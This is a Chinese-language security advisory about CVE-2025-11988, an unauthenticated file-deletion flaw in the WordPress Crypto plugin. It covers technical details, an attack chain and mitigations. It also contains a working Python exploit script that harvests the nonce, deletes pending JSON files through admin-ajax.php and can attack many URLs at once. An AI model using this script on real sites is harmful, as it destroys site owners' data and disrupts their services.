IPBUF安全漏洞报告
English
CVE-2025-11988 CVSS 5.3 中危

CVE-2025-11988 WordPress Crypto插件未授权文件删除漏洞

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-11988
漏洞类型
未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Crypto插件

相关标签

未授权访问文件删除WordPress插件Crypto插件CVE-2025-11988数据丢失DoS攻击AJAX漏洞WordPress安全

漏洞概述

CVE-2025-11988是WordPress Crypto插件中的一个严重安全漏洞,该漏洞存在于所有2.22及以下版本中。Crypto插件是一款流行的WordPress加密货币相关插件,被广泛用于加密货币网站和应用程序中。漏洞的核心问题在于插件注册了一个未认证的AJAX端点(wp_ajax_nopriv_crypto_connect_ajax_process),该端点允许未登录用户调用crypto_delete_json方法。虽然该方法使用了nonce验证,但这个nonce是公开可用的,并非真正的安全保护机制。攻击者可以利用这个漏洞无需任何认证即可删除wp-content/uploads/yak/目录下匹配*_pending.json模式的文件。这些文件对于插件的工作流程至关重要,包含待处理的交易数据、验证信息和其他关键业务数据。成功利用此漏洞可导致数据丢失、业务流程中断,以及服务拒绝(DoS)状态。对于依赖Crypto插件进行加密货币交易或相关功能的网站来说,此漏洞可能造成严重的业务影响和经济损失。攻击者可以通过自动化脚本批量删除这些JSON文件,导致整个插件功能瘫痪,需要管理员手动重建数据才能恢复服务。

技术细节

该漏洞的技术根源在于WordPress Crypto插件(版本≤2.22)的AJAX处理机制存在严重的访问控制缺陷。插件在includes/class-crypto_connect_ajax_register.php文件中注册了一个公开的AJAX动作wp_ajax_nopriv_crypto_connect_ajax_process,该动作使用了wp_ajax_nopriv_前缀,意味着未登录用户也可以访问。漏洞函数crypto_delete_json允许通过AJAX请求删除特定文件,具体实现位于代码第137行附近。

攻击者利用此漏洞的过程如下:首先,识别目标WordPress站点是否安装了Crypto插件及其版本;然后,构造一个包含crypto_delete_json方法调用的AJAX请求;接着,使用WordPress公开的nonce值(通过wp_create_nonce或直接获取页面源码中的nonce)作为参数;最后,指定要删除的文件路径模式(*_pending.json)。由于wp-content/uploads/yak/目录通常对Web服务器可写,攻击者可以成功删除任意匹配模式的JSON文件。

这种攻击的隐蔽性较高,因为删除操作不会在WordPress管理界面留下明显痕迹,且JSON文件的丢失可能在一段时间后才被发现。攻击者还可以结合自动化工具实现大规模批量攻击,同时针对多个使用该插件的WordPress站点。

攻击链分析

STEP 1
步骤1
信息收集:攻击者扫描目标WordPress站点,确认是否安装Crypto插件及其版本(≤2.22)
STEP 2
步骤2
获取Nonce:从网站页面源码或通过公开途径获取有效的nonce值
STEP 3
步骤3
构造请求:构建包含action=crypto_connect_ajax_process、method=crypto_delete_json的AJAX请求
STEP 4
步骤4
发送恶意请求:向wp-admin/admin-ajax.php端点发送未认证的POST请求,指定要删除的文件路径
STEP 5
步骤5
文件删除:服务器解析请求后,调用crypto_delete_json方法删除wp-content/uploads/yak/目录下匹配的*_pending.json文件
STEP 6
步骤6
造成破坏:重复利用导致数据丢失、业务流程中断,实现DoS攻击效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11988 PoC - WordPress Crypto Plugin Unauthorized File Deletion Author: Security Researcher Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-11988 """ import requests import re import argparse from urllib.parse import urljoin def get_wordpress_nonce(target_url): """ Extract public nonce from WordPress page source """ try: response = requests.get(target_url, timeout=10) # Try to find nonce in common locations nonce_patterns = [ r'nonce[:\s]+["\']([a-zA-Z0-9]+)["\']', r'_wpnonce[:\s]+["\']([a-zA-Z0-9]+)["\']', r'crypto.*nonce["\':\s]+([a-zA-Z0-9]+)', ] for pattern in nonce_patterns: match = re.search(pattern, response.text, re.IGNORECASE) if match: return match.group(1) return None except requests.RequestException: return None def exploit_crypto_plugin(target_url, file_to_delete): """ Exploit the unauthenticated AJAX endpoint to delete JSON files @param target_url: Base URL of the WordPress site @param file_to_delete: File path relative to wp-content/uploads/yak/ """ # Get nonce from the site nonce = get_wordpress_nonce(target_url) if not nonce: print("[-] Failed to obtain nonce, attempting with common nonce value...") nonce = '1' # Fallback - some implementations accept this # Construct AJAX endpoint ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Prepare the exploit payload data = { 'action': 'crypto_connect_ajax_process', 'method': 'crypto_delete_json', 'nonce': nonce, 'file': file_to_delete } print(f"[*] Target: {target_url}") print(f"[*] AJAX Endpoint: {ajax_url}") print(f"[*] Using nonce: {nonce}") print(f"[*] Attempting to delete: {file_to_delete}") try: response = requests.post(ajax_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if 'success' in response.text.lower() or response.status_code == 200: print("[+] File deletion request sent successfully") return True else: print("[-] Exploitation may have failed") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def mass_exploit(target_urls_file, file_pattern='*_pending.json'): """ Mass exploitation against multiple targets """ try: with open(target_urls_file, 'r') as f: urls = [line.strip() for line in f if line.strip()] for url in urls: print(f"\n{'='*60}") exploit_crypto_plugin(url, file_pattern) except FileNotFoundError: print(f"[-] File not found: {target_urls_file}") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-11988 Exploitation Tool') parser.add_argument('-u', '--url', help='Target WordPress URL') parser.add_argument('-f', '--file', default='transaction_pending.json', help='File to delete (relative to wp-content/uploads/yak/)') parser.add_argument('-m', '--mass', help='File containing list of target URLs') args = parser.parse_args() if args.mass: mass_exploit(args.mass) elif args.url: exploit_crypto_plugin(args.url, args.file) else: parser.print_help()

影响范围

WordPress Crypto插件 <= 2.22

防御指南

临时缓解措施
立即采取以下临时缓解措施:1)禁用或删除Crypto插件直到完成安全更新;2)在Web服务器配置中限制对wp-content/uploads/yak/目录的写入权限,仅允许插件必要的管理账户写入;3)部署WAF规则监控和拦截异常的文件删除AJAX请求;4)启用WordPress的日志审计功能,监控wp_ajax_nopriv端点的访问情况;5)设置文件完整性监控,实时检测JSON文件的异常变更或删除行为;6)考虑使用WordPress安全插件限制未认证用户对敏感AJAX端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表